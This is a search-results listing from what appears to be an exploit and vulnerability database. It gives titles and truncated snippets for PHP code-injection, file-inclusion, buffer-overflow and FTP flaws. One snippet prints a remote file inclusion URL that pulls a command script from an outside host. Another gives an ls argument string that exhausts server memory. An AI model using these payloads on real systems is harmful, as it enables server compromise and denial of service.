502 matches found
CVE-2007-2092
Vulnerability summary (CVE-2007-2092): Direct static code injection in the PHP file index.php of Limesoft Guestbook (LS Simple Guestbook). An attacker can inject arbitrary PHP code into posts.txt via the name parameter, enabling code execution on the server. The issue is tied to feeding unsanitiz...
CVE-2007-2093
The vulnerability CVE-2007-2093 affects Limesoft Guestbook (LS Simple Guestbook) 1.0. Affected component: index.php handling the message parameter, allowing direct static code injection into posts.txt. Root cause: improper handling of user input in the guestbook script enables arbitrary PHP code ...
LS simple guestbook - arbitrary code execution
Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize user input that it writes to the posts.txt file...
ls-exec.txt
Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize user input that it writes to the posts.txt file...
LS Simple Guestbook 1.0 - Remote Code Execution
LS Simple Guestbook 1.0 - Remote Code Execution Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize...
LS Simple Guestbook 1.0 - Remote Code Execution
Special Greetings To - Timq,Warpboy,The-Maggot File: index.php Affects: LS simple guestbook v1 Date: 15th April 2007 Issue Description: =========================================================================== LS simple guestbook fails to sanitize user input that it writes to the posts.txt file...
caid-msgeng.txt
!/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflow vulnerability as described in LS-20060330.pdf on...
ARCserve msgeng.exe buffer overflow exploit (win2k SP4)
Hi, I have attached an exploit for CA ARCserve msgeng.exe buffer overflow exploit as described in LS-20060330.pdf. This was tested on windows 2000 server SP4 in a vmware environment. Cheers, Looking for earth-friendly autos? Browse Top Cars by "Green Rating" at Yahoo! Autos' Green Center...
CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow
!/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflow vulnerability as described in LS-20060330.pdf on...
CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow
CA BrightStor ARCserve - msgeng.exe Remote Stack Overflow !/usr/bin/python This one was listed in the SANS TOP 20 and I needed an exploit for analysis. I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service stack overflo...
/bin/ls with gid=0 in Debian linux-ftpd
Mea culpa. A stupid little bug crept into linux-ftpd for Debian, and some other Linux distros. Some may have fixed it, but Debian hasn't. The effect is that ftpd now runs /bin/ls for DIR and similar commands with GID=0. Does not seem terribly dangerous as I do not seem able to trick ls into runni...
Linux ftpd ls privilege escalation
ls command is executed with effective gid 0...
CA BrightStor ARCserve (msgeng.exe) Remote Heap Overflow Exploit
No description provided by source. !/usr/bin/python I couldnt find a reliable exploit for my analysis and so came up with this. Remote exploit for the CA BrightStor msgeng.exe service heap overflow vulnerability as described in LS-20060313.pdf on lssec.com. The exploit was tested on windows 2000...
LS-20061102 - Business Objects Crystal Reports XI Professional Stack Overflow Vulnerability
LS-20061102 LSsec has discovered a vulnerability in Business Objects Crystal Reports XI Professional, which could be exploited by an attacker in order to execute arbitrary code on an affected system. Exploitation requires that the attacker coerce the target user into opening a malicious .RPT file...
PHPht-rfi.txt
BiyoSecurity.Org & SecurityWall.Org Scripts: PHPht Topsites Remote File İnclude Download: http://www.linkini.net/phpscripts/descargas/Top%20Sites%208%20Archivos/PHPht%20Topsites.zip Greetz : Liz0zim , RMx , TRIP , DreamLord Regards : KorsaN Vulnerable file : All Files := vulnerable code :...
Bloq 0.5.4 - rdf.php?page[path] Remote File Inclusion
Bloq 0.5.4 - rdf.php?pagepath Remote File Inclusion source: https://www.securityfocus.com/bid/20512/info Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to compromise the...
Mambo Component ExtCalendar 2.0 - Remote File Inclusion
Mambo Component ExtCalendar 2.0 - Remote File Inclusion -------------------------------------------------------------------------------- Title : ExtCalendar Mambo Module = v2 Remote File Include Vulnerabilities Discovered By OLiBekaS...
pollvote.txt
Title: PollVote Remote File Inclusion http://www.worlddefacers.net Vulnerability Discovery: rUnViRuS ---------------------------------- exploit :- http://www.host.com/path/pollvote.php?pollname=http://www.host.com/CMD.gif?&cmd=ls...
wu-ftpd ls -W memory exhaustion
The FTP server does not filter arguments to the ls command. It is possible to consume all available memory on the machine by sending ls '-w 1000000 -C' See http://www.guninski.com/binls.html OpenVAS Vulnerability Test $Id: wuftpdlsDoS.nasl 6053 2017-05-01 09:02:51Z teissa $ Description: wu-ftpd l...